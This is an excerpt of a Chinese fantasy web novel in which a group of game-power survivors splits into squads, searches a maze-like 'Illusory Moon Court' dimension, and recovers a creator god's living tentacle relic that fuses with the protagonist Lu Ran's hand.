江朗算了算数，如果分成二十个十人小队的话，每个小队基本都能摊到一个血肉战士和两个医生，他们这队有陆燃这个纯控织灵者可以拿宅男哥这个新晋血肉战士凑数，其他分不到血肉战士的队伍就多塞两个织灵者过去。 除了他们这几个重生玩家以外大部分人手上估计不会囤防御生命卷轴这种游戏里没用的东西，不过防御卷轴和生命卷轴的维持时间挺久的，他一个人拿出几个格子其实也够了。 “这些玩家里哪些是没怎么在现实里战斗过的？” 江朗看向谭峰，以他对研究所的了解，研究所很大一部分人都是只做文职的。 谭峰掏出笔，圈出了一些人。 江朗把他们一一拆开放进各个小队，实在没地方放的就匀个有防御异能的异能者过去，比如秦暮楚。 拿着红笔写写画画了半天，江朗终于把这两百人团拆成了二十个十人小队。 他拿起谭峰给他的喇叭，看了一圈周围，没看见有能踩的高地，于是干脆从背包里拿出了几个箱子叠起来站了上去： “大家，安静一下！请听我讲！” 原本出门郊游一般闹腾的人群慢慢安静了下来，好奇地看向声音来源，等着指示——这里没人不服管，指示单纯因为人太多才难管。 “我接下来会把大家分成二十个小队，每个小队优先保证自己小队没有伤亡，在这个基础上再去攻击污染物，明白了吗？” 这两百人的人群有的超高声地喊着“知道了”——仔细一看发现是熟人，是梁凌那个小队的肌肉男，也有人淡淡地点了点头表示知道了，也就是江朗觉醒异能后不管是视力还是并行处理信息的脑力都提升了，才能将所有人的反应尽收眼底。 “现在，我报到名字的人走到最前面来。” “呃……爷傲奈我何？” 江朗喊完这个名字就忍不住有些滴汗，陆燃都忍不住侧目了一下想看看这位“爷傲奈我何”有多傲。 台下两百多人的眼睛也瞬间炯炯有神了起来。 虽然他们中也有人用网名代替自己真名的——末世嘛，谨慎点很正常吧，才不是因为中二呢——但这个网名的羞耻程度还是让人不禁注目。 然后，在众人的注视下，一个斯文有礼文质彬彬的看上去三十岁上下的中年男性走了出来，他还带着眼镜，长相气质都介于学生和社畜之间，比学生成熟，但没有社畜那么疲惫，如果在末世前看见的话，江朗和陆燃大概率会觉得对方是大学里的讲师，如果确实是类似的职业，末世后又在研究所工作的话……也太专业对口经验对口了！ 江朗确认了一下：“你是爷傲奈我何？” 名为爷傲奈我何的斯文中年人淡然地点了点头，低调地站到了江朗指定的位置。 好的，江朗决定，就这视如此羞耻的网名于无物的态度，就非常衬得上这个网名啊！ 幸好，接下来的几个人名看着都是正常人类的名字。 “王一鸣。” “到！” “何菲菲。” “到！” “施韵。” “到！” 江朗终于没忍住：“其实你们不用喊到的……” 两个女生无辜地看向了他：“我们看王一鸣喊了就也喊了，而且被人喊了名字就忍不住喊到嘛。” 江朗于是接着“点名”。 不一会儿，第一个十人小队就出现了。 “一会儿你们可以先熟悉一下。” “然后是这样的，因为我不可能记住所有人的名字并且把名字对上脸，所以如果我要对你们小队进行细节上的指挥的话，我会直接喊第一小队的医生或者第一小队的血肉战士之类的，你们只要记住自己是第一小队的就可以了。” “OKOK。” “没问题。” “记住了记住了！” 江朗思考了一下，他们是记住了，但是他记不住这一整群人啊。 他思考了一下自己背包里有没有能拿来贴标签的东西，然后转向了梁凌： “你背包里有没有便利贴之类的东西？” 他对梁凌掏出氧气面罩的事记忆犹新，没准他背包里会有其他更多奇怪的东西呢？ 梁凌挑了挑眉：“确实有。” 陆燃，江朗：“……” 这人都在背包里装了些什么啊，把所有可能用到的东西全装进去了吗？ 梁凌摸了摸下巴：“你是要给他们贴一号标签是吧……其实我有更适合的东西。” 江朗：“什么？” 梁凌双眼失神，所有玩家都知道他这是开始在背包里翻找了。 然后过了十几秒后，一个大箱子出现在了所有人面前。 这箱子大到梁凌不得不找出来一个稍小些的箱子才能站上去打开，然后他埋头翻了一会儿，丢出来十件衣服。 十件背后写着01的棒球服。 江朗：“……” 虽然就是抱着梁凌的背包里可能什么都有的心态问他的，但是这也太什么都有了吧！ 这家伙到底是觉得自己有一天会沦落到什么野外的野外啊！ 沉默地将这十件棒球服分发给一脸新鲜地穿上了的一队成团，开始继续报二队的名字。 超远处的周亮：……更像学校郊游了啊。 江朗喊了两百个名字后喊得口干舌燥，分发了两百件棒球服后也多少有点关节酸痛——也真是多亏了多亏了梁凌能有这么多棒球服带在身上啊…… 但是分队终于分完了。 接下来就要行进了。 这就轮到谭峰了，谭峰将从研究所带出来的空间泡节点地图摊了开来。 “这些标着红点的就是最有可能是梁凌你所说的神殿碎片的空间泡。” “一个圈的红点大概是这种污染程度。” 他掏出一个污染检测仪，在某个位置用手指划了一道，大概是介于他们上次遇到的亡灵空间泡和他们第一次遇到的空间泡之间的位置。 “两个圈的红点大概是这个程度。” 他又划了一道，大概是陆燃江朗他们第一次遇到的空间泡再稍高一点的污染程度。 “先往这些两个圈的地方去吧，研究所其他人也会实时向我们更新新的情报。” 梁凌给谭峰的车头上插了一支类似于旅游团的导游旗帜，宣布，这就是他们的领头车了，然后自己坐了进去。 谭峰：“……” 江朗和陆燃则回了自己的车，跟在谭峰后面向前开去。 他们俩坐在前座，后座几排座位分别坐着柳寒张镇和陈嘉佳于檬，宅男哥和来自海岸小区的中二秘术师。 江朗分完所有队伍后，他们自己这个小队并未按照正常的队伍配置配比，而是一窝蜂把需要他们监护的人全塞了进来，毕竟类似于柳寒张镇这样的人，放出去到其他队伍他还真的不太安心，除此以外，谭峰梁凌也在他们队伍，只不过他们自己开车而已。 之所以他们四人都在一个小队，是因为他们四人算是指挥团，谭峰，梁凌如果有什么实时的指挥需求也可以告知他，陆燃如果注意到了什么也会告诉他，只不过最后只会由他来做最终决定要不要把指挥内容传达出去——大致就是这么个模式。 他们四人离太远的话反而不方便信息收集和决策讨论。 周亮一眼难尽地看着自己旁边的宅男，又一眼难尽地看着前排四个人里的三个小孩。 这都什么和什么啊……更像学校郊游了啊喂！ 他抱着双臂，很努力地展现着自己的高冷，一路高冷到了最近的空间泡前。 江朗转头对他们笑着说：“快到了，前面就是了。” 陆燃没回头，淡淡地补了一句：“做好准备。” 周亮稍微提振了一点精神，不管这辆车的组成看上去多么像是去郊游的，但是他这段时间也算是对空间泡的存在大致了解了一些内容，知道这可不是闹着玩的。 然后就在那一瞬间，他视野中的天空突然就那么消失了，原本虽然有些昏暗但还算光亮的视野瞬间变成了压抑与逼仄。 他看向前方，那些密密麻麻树立起来的粗糙岩壁，弯曲回绕的迷宫般的小径，如果是地球本土的景观，大概会有无数人争论这到底是自然形成的景观还是外星文明留下的建筑吧，因为它们看上去既有某种精密的构造，但又粗粝到原始。 而那些岩壁上，还攀着一些像是在枯萎边缘的藤蔓，更是为这幅画面增添了几分原始的美感。 然后他就听见前方传来了轻轻的一声——“草。” 他看向驾驶座的江朗，虽然只能看见一个侧脸，但还是清晰无误地看见了他脸上的无奈。 陆燃和江朗陆续推开车下车。 江朗走到陆燃身边，忍不住吐槽了一句：“差点以为又穿越了。” 陆燃“嗯”了一声，此情此景确实过于眼熟了一点。 谭峰和梁凌也早下了车。 梁凌拖沓着脚步朝陆燃江朗他们走来：“上来就是幻月之庭啊，这和你们之前遇到的那个幻月之庭空间泡相比如何？” 陆燃扫视了一眼：“差不多。” 江朗很努力地观察了一下：“确实，这些藤蔓看上去和我们遇到的那个没什么区别，然后这些迷宫的宽度看着也没什么区别，我其实第一反应是又进入到那个空间泡里去了。” 谭峰：“希望你们之前遇到的空间泡不是存储六神遗骨的地方吧。” 江朗：“……是的话那就完蛋了。” 如果“月”的遗骨在他们上次进的空间泡里的话，他和陆燃把那个空间泡搞没了，他们可能就再也拿不到属于“月”的那部分创世神遗骨了。 江朗：“……应该不至于那么倒霉吧。” 周亮好奇地从他们身后探出头来：“你们之前已经进过类似的空间泡了吗？” 江朗点点头：“嗯，而且基本完全一致，这类空间泡很麻烦，因为你看到那些藤蔓了吗？你攻击任意一条，空间泡内的其余藤蔓就会一起来攻击你。” 周亮有些震惊：“全加起来的话大概是什么攻击水平？” 江朗：“如果我吃满buff然后外加自带再生异能，也只能同时承受大约这里十分之一的藤蔓攻击。” 周亮：“我去……这么麻烦，好变态的污染物。” 梁凌：“当然变态，这些藤蔓本来就是一体的，这是幻月之庭的长老。” 陆燃，江朗：“？” 周亮：“啥？” 梁凌兴致勃勃地解释了起来——所有能让他放心说话的话题他都非常兴致勃勃： “幻月之庭本来就是修行精神与控制的神殿，游戏里解锁的其他技能都是次要的，精神链接才是它们的核心技能，刚入门的神父一次只能控制一个人，然后就能控制越来越多的人和越来越广的范围，幻月之庭的神父晋升的时候完全不看其他条件，就看精神链接修炼得怎么样了，然后到玩家现在的最高等级，也就是陆燃这样的，基本就到不失去主体性的精神链接的最高层次了。” “再往上就要逐渐消融自我的存在，因为为了获取更广的控制范围，单个的控制中心就已经不够用了。” “你们应该知道神经系统的原理吧，哺乳动物靠中枢神经系统控制全身，所以在神经传导效率上去之前哺乳动物是有很严重的体型限制的，因为如果体型太大，一个信息从比如说尾部传到头部要几秒的话就会有很严重的延迟。” “总之就是大概这么个情况，幻月之庭的神父们也受到了类似的限制，所以，它们为了突破这个限制，再往上就得多配备几个中枢神经系统，也就是选几个倒霉蛋同化成自己，把自己的意识分布式保存在不同的个体内。” “然后就是你们看到的这样了，这里的每一团藤蔓，都可以理解为幻月之庭长老的精神一部分，然后你们脚下踩的大地，就是它们最初的本体。” 周亮其实完全不在乎幻月之庭的修行原理，他只是单纯在震惊：“啥？？？你说这是幻月之庭的长老？？？” 他呆呆地看着面前这一片一片的黄土和粗糙的岩壁和上面附着的甚至不青绿怎么看都像是要枯死了的藤蔓。 这和游戏里的幻月之庭长老长得一点也不一样啊！！ 游戏里的幻月之庭长老，一席飘飘白衣，其中名为斯黛拉的长老更是广大《神域》玩家心中的女神，堪称幻月之庭总部的一大景点，他自己就经常没事干就去走廊里绕圈看看能不能遇到斯黛拉长老…… 不……他不愿意承认面前这一连片的枯草一样的藤蔓是幻月之庭长老！ 不！他梦中的女神啊！ 怎么会这样！ 梁凌看见周亮这一脸幻灭，脑子一转，大致也就想到他在幻灭些什么了，于是颇为同情地拍了拍他的肩膀： “别太难过，也许以外星人的审美它们确实长得很好看呢。” 周亮：“……” 这算什么安慰。 不论周亮是什么心情，江朗倒是还挺轻松的，虽然刚看见这个空间泡全貌的时候，他多少有点PTSD泛上来，但是仔细一想——这是好事啊，至少是熟悉的场景，已经知道该怎么打了，这次他们还是带了一大堆织灵者进来的，简直是轻轻又松松啊。 第110章 第 110 章 脑 就在江朗轻松写意地准备组织大家一起攻下这个空间泡的时候, 他突然想起来了。 呃……他们的目的并不是杀死这个空间泡里的污染物然后离开，而是要找到属于“月”的那份创世神遗骨啊！ 他立刻谦逊地转向梁凌：“创世神的遗骨长什么样呢？” 梁凌耸了耸肩：“我怎么知道。” 他停顿了一下：“不过我知道月拿到的是和精神相关的器官，估计是大脑, 或者神经系统之类的东西吧。” 江朗整张脸都皱了起来，看这些藤蔓的样子, 还有他们脚下长老的本体, 也知道《神域》的创世神的身体构造肯定跟人类长得没什么关联。 他叹了口气，开始指挥所有人行动起来。 “接下来，请所有织灵者出列，你们的任务是分区看好自己周围的藤蔓, 一旦它们有任何动静就施放精神链接和任何不带伤害的控制技能。” “其他人依旧按照原本的组队分区寻找, 我们要找的目标是一个大脑, 或者一个神经系统, 但是具体长什么并不知道，但是一旦找到, 大概率这些藤蔓都会同时攻击你, 所以别碰它，找到任何有所相似的东西之后, 直接通知我。” “除此以外, 记住这里的每一团藤蔓和其他藤蔓都是联通的，攻击一个就会引来其他所有的反击, 所以请大家谨慎, 尽量和它们保持距离, 不要触碰, 更不要以任何形式攻击，但是如果有人不小心攻击了，那么所有织灵者以最快速度进行控制。” “大致就是这样, 一队先前进。” “二队。” “……” 江朗指挥着一大群人慢慢走入这迷宫一般的幻月之庭神殿时，陆燃一个人也走了进去。 他刚刚和江朗算过了，这里的织灵者数量足够覆盖式控制每一片区域，所以他“自由”了。 江朗觉得陆燃的观察能力比他们所有人都强，所以觉得他不该被限制在任何一个地点，就让他随意行动了。 说实话，要在一个范围巨大的地方找一个没人知道长什么样的东西……真是有点难度。 陆燃将目光一寸一寸地扫过面前的岩壁和土地和上方穹顶。 他的左脚稍微在地上摩擦了一下，地面不湿松软的泥土，薄薄一层黄土下方依旧是石头，这倒是好事，意味着他们至少不用掘地三尺找创世神的骸骨有没有被埋在地底。 上方，穹顶相较之前那个空间泡不算高。 秦暮楚依旧是开着她的装甲车来的，如果有必要的话，他们最后也可以轰开上方的穹顶看看有没有上层。 不过大概率没有，因为上次那大概是“死者”的神殿，游戏里属于“死者”的神殿就是密密麻麻叠了很多层天花板，主要是因为神殿里都是亡灵之类的，需要尽量避免阳光，所以它们的神殿其实是建在地下，然后叠很多层中空的结构，一层一层地修到地表。 幻月之庭这边就是普普通通一层走廊而已。 陆燃仔细地看着他走过的每一片区域，试图找到任何有隐藏物品的迹象。 除他以外的其他人，也都小心又仔细地排查着空间泡内的每一寸土地。 陆燃知道，他们大概率要在空间泡里呆一段时间了，因为就算他们把什么都排查了都没找到要找的东西，江朗他们也很难下定决心属于“月”的那份遗骨一定不在这里，所以估计宁愿在空间泡里多驻扎一段时间，也不会愿意早早突破离开。 在空间泡里转悠了一整个下午之后，陆燃其实已经把整个空间泡走遍了，至于其他人，更是早就把自己要管的那片区域就差把藤蔓掀起来看看了。 大部分人早已找了个稍微空旷点的迷宫角落开始吃饭。 陆燃顺着原路返回，和江朗他们汇合。 “要不要一起吃火锅？” 他刚坐下，就听见身后有人问，回头一看，是A市小队带着郭过来了，他们虽然被打散到了不同的队伍中，但吃饭还是习惯一起吃，而且他们本来就习惯了和梁凌同进同退，所以现在就找过来了。 “好呀好呀！” “一起吃一起吃！” 陆燃往右边声音来源一看，一个周亮，一个宅男哥，两个人正一脸激动地站了起来，迎了上去。 显然，秦暮楚这样的大姐姐完美符合他们两个二次元的审美。 其他人：“……” 不管怎样，在宅男哥与周亮的热情欢迎下，十几个人就围着火锅都坐了下来。 江朗看了圈周围，感觉实在没地方放卡车，地方太狭窄了，感觉他把卡车往外一放就能压垮一整片岩壁，然后他就可以等着被围攻了。 于是他从冰柜那格拿了个冰柜出来，挑了些食材和冰块后又放回了背包，然后准备开始给这一圈人分发餐前甜点。 只是他刚转过身来，就发现陆承不知道什么时候就已经眼疾手快地坐到陆燃身边去了。 陆燃一脸平静地在给火锅加柴，似乎并不觉得这有什么。 江朗：“！” 他猛地挤进了陆燃和陆承之间，然后朝陆承笑了笑：“不好意思啊，这是我的位置。” 然后他把怀里的蛋糕们往陆承手里一塞：“可以帮忙传一下吗？” 陆承：“……” 其实他真的只是顺便在这坐下了……十几个人坐一圈显然很挤，轮到他坐下的时候也就陆燃旁边有点空位了…… 他对天发誓！他这次真的不是故意的！ 他看看左边，江朗一脸警惕，看看右边，周胤一脸不赞同。 陆承：……他冤枉啊！ 陆承决定化悲愤为食欲，认真地吃起了火锅，决定以多蹭点江朗食材的方式，来释放心中的愤懑。 “找不到啊，你们真的没有更详细一点的描述了吗？” 秦暮楚没急着吃东西，显然她更记挂他们来这里是做什么的。 梁凌摇摇头：“没有了，就连长得可能像大脑也只是推测而已，其实也不一定的。” 秦暮楚：“……” 秦暮楚：“污染物真的有大脑吗？说实话末世刚来的时候，我解剖过非常多污染物，没有一个是有大脑的，本来应该有大脑的生物都基本退化到没有了。” 陈希点了点头：“我也解剖过，我可以佐证这一点，你们确定我们要找的东西是大脑吗？我觉得这些污染物身体里最称得上有结构的东西没准就是那枚晶体了，会不会我们要找的其实是一枚超大晶体？” 梁凌慎重地选择了一下用词：“倒也不是不可能。” 陆燃突然说：“是一个长得像触手系动物的东西的大脑。” 秦暮楚，陈希：“？” 几个重生者倒是反应了过来，他们还真是漏提了这一点。 如果当时从陆燃身上复生的就是《神域》世界的创世神，然后其他六神的力量来源又是它的器官，确实该把这个信息补上去。 江朗并不是很愿意回忆当时的场景，于是谭峰开始比划了起来： “长得大概像多了很多条触手的章鱼，一条触手大概有几十米那么长。” 秦暮楚，陈希：“？” 秦暮楚迷惑地问：“你们知道要支撑这么大一个身体的章鱼活动的话大脑得多大吗？怎么看也不像是能放在这里的样子啊。” 梁凌：“不在这里也在类似结构的建筑里，都差不多逼仄，所以我们只能找的更仔细一点了。” 一顿午饭后，带着也没多多少的信息，A市小队又离开了，所有人接着在这地方寻找任何可能和大脑相关的痕迹。 陆燃这次没有走入迷宫中。 他在想，他能不能扛得住这些藤蔓的攻击。 所以buff叠上，然后再加上医生不间断的饱和式治疗——其实如果他们能把握住那0.1s的内置CD，倒也不用饱和式治疗。 他按照上次江朗承受的伤害量计算了一下，其实是可以的。 于是他转身向江朗走去。 “让所有人回来吧。” 江朗愣了一下，然后立刻欣喜了起来：“你是找到了吗？还是说想到了找到的办法？” 陆燃点了点头：“嗯。” 江朗就差猛地跳起来了，一脸灿烂的笑容：“不愧是你！所以我们该怎么做？” 陆燃：“你们不用做什么，把所有人叫回来主要是因为我打算用地狱之火。” 江朗的笑容滞了一下：“等等，可是，等等，你用地狱之火的话，难道不是精神链接根本控制不住那些藤蔓吗？这里大部分织灵者，虽然我没问过他们，但是猜也猜得到他们第二个控制技能点的肯定是心灵震荡……这样的话你会同时承受所有藤蔓的攻击的。” 陆燃：“我知道。” 江朗：“？” 陆燃：“这样找太慢了，而且不太可能找得出来，如果遗骨被幻月之庭的人……的生物藏了起来，那么最快的方法就是直接覆盖式攻击，为了保护遗骨不被烧毁，这里的生物不光会攻击我，肯定还会分散出一部分去保护这个遗骨——假设它确实在这里，地狱之火能自主监控它所在的位置周围的所有环境，那么我们要的东西就能找到了。” “但是你会被攻击。” 江朗抿着嘴，看上去很不高兴。 陆燃：“我算过了，按你上次给我的数据，只要叠满buff，它们不可能能在一瞬间清空我的血条，只要永远有医生在治疗，就不会有问题，你只要跟这些医生说一下不要用同一个顺序的技能循环就行。” 江朗依旧死死地皱着眉头：“还是太危险了！” 陆燃耸了耸肩：“这比你上次的情况应该要不危险得多，毕竟有成打的医生负责治疗我。” 江朗：“这怎么一样！我上次只需要承受那么点藤蔓的攻击，而且，而且这怎么一样！” 陆燃：“哪里不一样？” 江朗深吸了一口气：“我受伤又不重要，随便就恢复了，但是你的情况不一样，就算有医生治疗你也要实打实承受那么多攻击，就算能治愈伤口，被攻击时的疼痛他们又治不了，很痛的，我不想你受伤，没有必要陆燃，我们先再找找好吗，反正也不是急于一时的事，我真的……我真的受不了看见你受伤。” 陆燃倒是没想到这个计划会卡在江朗对他过剩的保护欲上，或者说他其实应该想到的。 他皱了皱眉：“这就是最简单的办法，地狱之火可以控制攻击力度和范围，哪怕覆盖式攻击地表也不会影响到地底。” “而且，就算真的出了什么问题，你不是还有复活道具吗？” 不提这个复活道具还好，一提，江朗本来就焦躁的脸庞瞬间更紧绷了。 陆燃叹了口气：“江朗。” 江朗不是很高兴，但还是看向了他的双眼：“嗯……” 陆燃：“你不是想救这个世界吗？你不是希望这个世界恢复正常吗？” 江朗：“嗯……” 陆燃：“那你在犹豫什么？” 江朗沉默了很久很久，然后突然左右看了看，小小声别扭地说：“如果你……如果你消失了或者受伤了的话，救下这个世界意义也不大了啊……如果真要让我二选一的话，世界毁灭和你好好的我肯定选后者。” 陆燃：“……” 他深深地无语了一下。 “你应该知道世界毁灭的话我们俩也会跟着一起死对吧，谭峰也说了，不会再有一个异能是时间倒转的人来让你们重生了。” “而且你知道我的痛觉不是很灵敏，你也知道我的计算从来不会出错。” “江朗。” 江朗抿着嘴唇别扭地原地站了一会儿，就像是被要求回家不想回但找不到理由的小孩。 过了很久很久，他才松了口：“好吧……” 他深吸一口气，下定了决心，尽量将视线避开陆燃所在的位置，开始用喇叭召集所有人。 找形状未知可能位置未知的东西找到快心态爆炸的众人听见江朗的指挥后松了口气，快速回到了出发点。 “所有人尽可能靠紧，占据尽量少的空间。” “除了医生以外的所有人不要放任何技能。” “梁凌，你先给陆燃刷个生命和防御buff。” 梁凌点点头，开口给正在喝小药的陆燃上了个buff。 “待会儿……”江朗深吸了一口气，“待会儿所有藤蔓会攻击陆燃一个人，所有医生只奶他一个人。” “因为这里不是游戏看不见血条，所以我把你们分成四组，原本1到5小队的医生按照先大招再小技能的顺序循环，6到10小队的医生按照先两个小技能的顺序循环技能，以此类推，尽量保证没有空窗期，可以做到吗？” 医生们点头的点头，说“没问题”的说“没问题”。 江朗其实还是有些忐忑，但陆燃要做的事他从来拦不住，而且这样也确实已经将风险降到最低了，于是他只能按下自己的不安，朝陆燃点点头。 在他的指挥下，这两百多号人慢慢围了起来，基本团成了一团，医生站在靠近陆燃的那一面，虽然他们放技能其实和位置关系不大。 陆燃也终于把所有buff小药都吃完了，他象征性地抬起手，朝所有人点了点头：“开始。” 于是深红的火焰如潮水一般从他周身蔓延开去，几乎是同一时间，身后的医生技能比攻击来得更快，一道又一道白光在他身上闪现，最后到来的是藤蔓们的反击，在深红的火焰蔓延到第一团藤蔓上后，整个空间泡都像是陡然复活一般，枝条以肉眼几乎不可见的速度向陆燃袭来，只是一大半都在袭来途中就被那势不可挡一般的火焰吞没了。 他身后那一圈人里，A市小队齐齐“卧槽”了一声。 他们生怕自己出声会影响到前方正在专心致志为陆燃刷技能治疗的医生，但还是忍不住压低声音开始交头接耳： “卧槽卧槽这个火，这个火不就是那天整个A市还以为是山火的火吗？！” “我就说是异能啊！” 肌肉男呆呆地看着前方，然后突然说了一句：“早知道陆燃的异能是火系，我们干嘛还要烧柴啊？” 其他人：“……” 他们很想骂他这抓的是什么重点啊，但是就连秦暮楚听完之后都忍不住开始思考起了这个问题…… 陆燃不知道他身后有人在思考这样奇妙的问题，他以地狱之火为眼，正在观察空间泡内的所有位置。 在火焰推进的前半段，空间泡本身安静如常，他吞没所有袭来的藤蔓，那些藤蔓好像也只是条件反射地在攻击他一般，并不在乎自己还未来到攻击者面前就已经被火焰吞噬，只是一味地反击着，枯枝消散于火海中后，它们也并未立刻长出新芽，只是很普通地消散了。 但当地狱之火推进过某条界线后，这个空间泡便真正地活了过来。 陆燃身后所有人都感受到了那股子大地震颤的轰鸣，不过他们牢记着江朗的指挥，还没到能攻击的时候，他们顶多生怕自己被乱石砸掉了血，就一个个地掏出了防御卷轴给自己来了个buff。 随着他们脚下的土地开始复活，那些原本从容化作飞灰不带一丝反抗之意的藤蔓也以一种惊人的速度开始重新从土地中生根发芽冒了出来，且带着一股惊人的韧性与生命力，浅绿色的芽立刻转为了庞大的深绿色的近乎有人两臂粗的藤蔓枝条，它们表面都覆盖上了粘液，再加上新生的枝条体内水分充足，足以抵挡很长一段时间火焰的灼烧，而这些藤蔓兵分两路，一路汹涌地朝陆燃袭来，在他身上划出一道又一道伤痕又瞬间被治愈，一路朝另一个方向而去，在某个角落层层叠叠地团了起来，似乎在保护什么。 找到了。 陆燃转身对身后的医生们说：“跟上。” “江朗，你也来。” 他们一边施放技能一边移动，火焰重新分出了一片空白区域，除了江朗和医生们以外的人没有移动，知道这不是自己的战场。 移动到某一个位置时，陆燃停了下来：“接下来，你们不用再往前，就在这个位置治疗我。” 医生们点点头。 目送着陆燃和江朗继续向前。 陆燃看着那层层叠叠像巨蟒一样缠绕起来的藤蔓，直接开始攻击，地狱之火瞬间收缩，从原本蔓延的火海瞬间变成了一团不大的火苗，直接穿透了那团藤蔓，在其他部分依旧青翠的同时烧出了一个漆黑的大洞。 江朗不停地在一旁攻击，不光是想尽快消灭这些藤蔓，更多的是想将这些藤蔓的仇恨从陆燃身上拉到自己身上，他毕竟有再生异能，他被攻击总好过陆燃被攻击，可惜，这些藤蔓显然没有他希望的那么智障，哪怕他的攻击伤害更高，也死死地将目标锁定在了更有能力直接穿过这由藤蔓筑起的铜墙铁壁的陆燃上。 陆燃缓慢地向前挪动着，一寸一寸地烧进那团藤蔓里，他的身影在所有人注视下没入了一片青绿与漆黑中。 幸好医生的技能大部分都是范围锁定型的，不至于因为看不见他人影而无法治疗。 而消失在大部分人视野中的陆燃，敲了敲那片被包裹起来的岩壁，不算中空，但听起来确实和其他岩壁略有些不同。 于是他伸出手，一拳砸在了那道岩壁上。 “轰隆隆——” 这个动作显然引发了空间泡内这位幻月之庭长老的愤怒——或是恐惧？ 整个空间泡内地动山摇，其他人几乎站不住脚。 江朗发现，不管他怎么攻击，那些藤蔓几乎都会立刻在被他消灭后重新在一秒内完成从幼苗到巨蟒般藤蔓的成长过程——这个空间泡似乎在透支自己的生命里。 它们无视一切向陆燃疯狂涌去，试图刺穿他，缠绕住他，杀死他。 但它们无法突破那密集围绕在陆燃身边的火焰。 其实陆燃自己也没想到将地狱之火压缩到一定密度后居然能产生这么密集的能量，它几乎可以瞬间蒸发任何试图靠近他的物体。 所以他原本做好的心理准备倒是多余了，他几乎是轻轻松松地将那碎裂的岩壁石块拂开，看见了原本被藏在岩壁中的东西。 那是一截……腕足。 一截巨大的，和他本人高度差不多的腕足，虽然他知道外星生物和地球其实无关，但不得不说，这截东西真的长得很像头足类生物的腕足，而且即使只有这么一截，它也在微微蠕动，“呼吸”着。 这应该就是他们要找的东西了。 这么一想，倒也不奇怪，章鱼的神经系统本就兼具集中式和分布式，腕足里也有大脑也是众所周知的事，如果《神域》的创世神真的是和章鱼差不多的构造，那么祂以自己的大脑创造了“月”这个执政神，指的其实是祂腕足中的其中一个大脑突然就使事情全都合理了许多，也难怪幻月之庭的长老们升级路线会是这样的。 他蹲下身，伸出手去触碰那截简直像是还活着一般的腕足。 “你要……成为……这个世界的神……” “你要……成为……这个世界的神……” 就在他触碰上那截腕足的同时，那个熟悉的声音又在他耳旁响了起来，陆燃皱起了眉头，但他还未来得及恼火，他手下那截腕足的形态就变了。 他右手所触碰的部分瞬间溶解，原本只是腕足的表面有些黏黏糊糊的而已，但那之后，陆燃简直觉得自己的右手整个沉到了沼泽中去。 那些黏液非常反重力地没有散开，而是一丝一丝地攀上了陆燃的手指与手腕。 “轰隆隆——” “轰隆隆——” 猛然间，他脚下的土地与连绵的完整石块彻底破开，所有人下意识地抬起头，张扬的触手般的巨打藤蔓从地底破土而出，所有人震惊地看着那几乎要好几个人才能环抱住的巨蟒般的藤蔓条，而它们的目标都格外明确。 江朗震惊地从扒开自己的身上的碎石： “所有人！全力攻击！医生们继续治疗陆燃所在的位置，同时归队！一旦发现自己队伍中有人受伤就优先治疗自己队伍中的人！” 他捏紧了手中的东西，压下心头的恐惧，开始全力攻击那冒出来的巨物。 刚刚那一瞬间，他还以为旧日重现，他以为又一次出现了上一世的情况，心脏骤停，好在，他很快就发现同样是触手系的长相，面前的这株巨大植株和上一世从……陆燃身体里复生的巨大怪物长相上并不相似，实力上更是相差甚远。 他们的攻击很有效，技能落下之处，处处有枯萎的藤蔓。 但是和他想象中所有人攻击后那藤蔓可能会随机地转移目标到其他攻击者上的情形不同，那些藤蔓非常执着，丝毫没有转移攻击目标的意思。 江朗干脆掰开这一团团的东西，努力朝里挤去。 他很担心陆燃. 陆燃的情况其实并没有他想的那么糟，但也算不上好。 那些藤蔓很快就发现普通的蔓条刚一接近他就直接被他周身的火焰蒸发得连尸体都不剩下了，于是它们从体内生出了坚硬的刺，陆燃身上瞬间多出了十数个孔洞，但陆燃来不及思考也来不及感受疼痛，因为他的全部感官都集中在了右手中，那黏腻的黑色粘液从他的手腕中戳刺而入，朝他体内涌去。 他感到一片冰冷，他看着自己身上正在流血的伤口，忍不住笑了下——倒是正好镇痛了。 “你要……成为……这个世界的神……” “你要……成为……这个世界的神……” 那道古怪的声音依旧在他耳边不停回响，他好像能听见自己的心脏跳动的声音，而这让他烦躁无比。 “吵死了。” 他恼火地斥责。 那道声音却并没有像上次那样随着他的斥责消失，反而越来越大声，越来越大声。 然后，他看见了。 从高处看见所有人，从江朗的位置看见一团一团黏腻的藤蔓和他努力扒拉的双手，从下方的人看见这株巨大的植株，也有人没在看攻击目标，而是在谨慎地瞥着自己队伍中的成员。 所有人的视角，他都看见了。 而他们并未受到控制，依旧在努力地做自己的事。 而后，空间泡轰然破裂，在所有人震惊的注视下，那株巨大的植株毫无征兆地枯萎，倒下，消失。 他们回到了正常的世界里，而不远处站着陆燃，他看上去似乎有些走神，不太像刚从一场危险的战斗中回来，他平静地站在原处，身姿挺拔而随意，看着自己的右手，然后他抬起头，朝着江朗，梁凌和谭峰的方向点了点头。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-113 第111章 第 111 章 血池中心的心脏 “又是幻月之庭。” 江朗忍不住吐槽了一句, 他上一世进过那么多空间泡，其中一个幻月之庭的都没见过，这一世从C市出来才第一次见到它们那迷宫一般的神殿碎片。 结果现在倒好, 自从陆燃从幻月之庭的空间泡中得到了属于“月”的那份遗骸后，他们已经连续又进了七八个空间泡, 而这七八个空间泡全是幻月之庭的。 陆燃：“往好处想, 至少不用在里面搜半天还不敢出来。” 江朗忍不住笑了下：“确实。” 他停顿了一下，看向了陆燃的右手：“你确定没有任何难受的地方吗？” 那天从那个空间泡离开后，陆燃就原原本本地跟他们讲了所有情况，包括那个腕足的形状, 和它是怎么溶解在自己手上又钻进自己血管里的。 梁凌末世前学过画画, 一边听他描述一边开始速写, 在他反复向陆燃求证细节并修改后大致复原了陆燃所见到的那条腕足。 他心满意足地欣赏了一下自己的画作, 十几秒后抬起头后才发现所有人都盯着他： “怎么了？” 谭峰：“你从中推测出什么了吗？” 梁凌脸上的困惑更加真诚了：“这能推测出什么？能推测出来的事陆燃不是都说了吗？大概率这个创世神真的是条超巨型章鱼，不止一个大脑所以可以随便地拆一个大脑给月玩。” 谭峰也困惑了：“那你问得这么清楚还画得这么认真干什么？” 梁凌歪了歪头：“留档啊, 我只是习惯把所有和《神域》相关的信息记录下来而已。” 谭峰：“……” 好吧。 江朗的注意力倒是完全没在这边, 他一直皱着眉看着陆燃的右手，自从陆燃融合了“脑”, 他的手就一直是这样, 黑漆漆的粘液似乎彻底凝固在了他手上，摸上去有薄薄一层的触感, 但无法剔除。 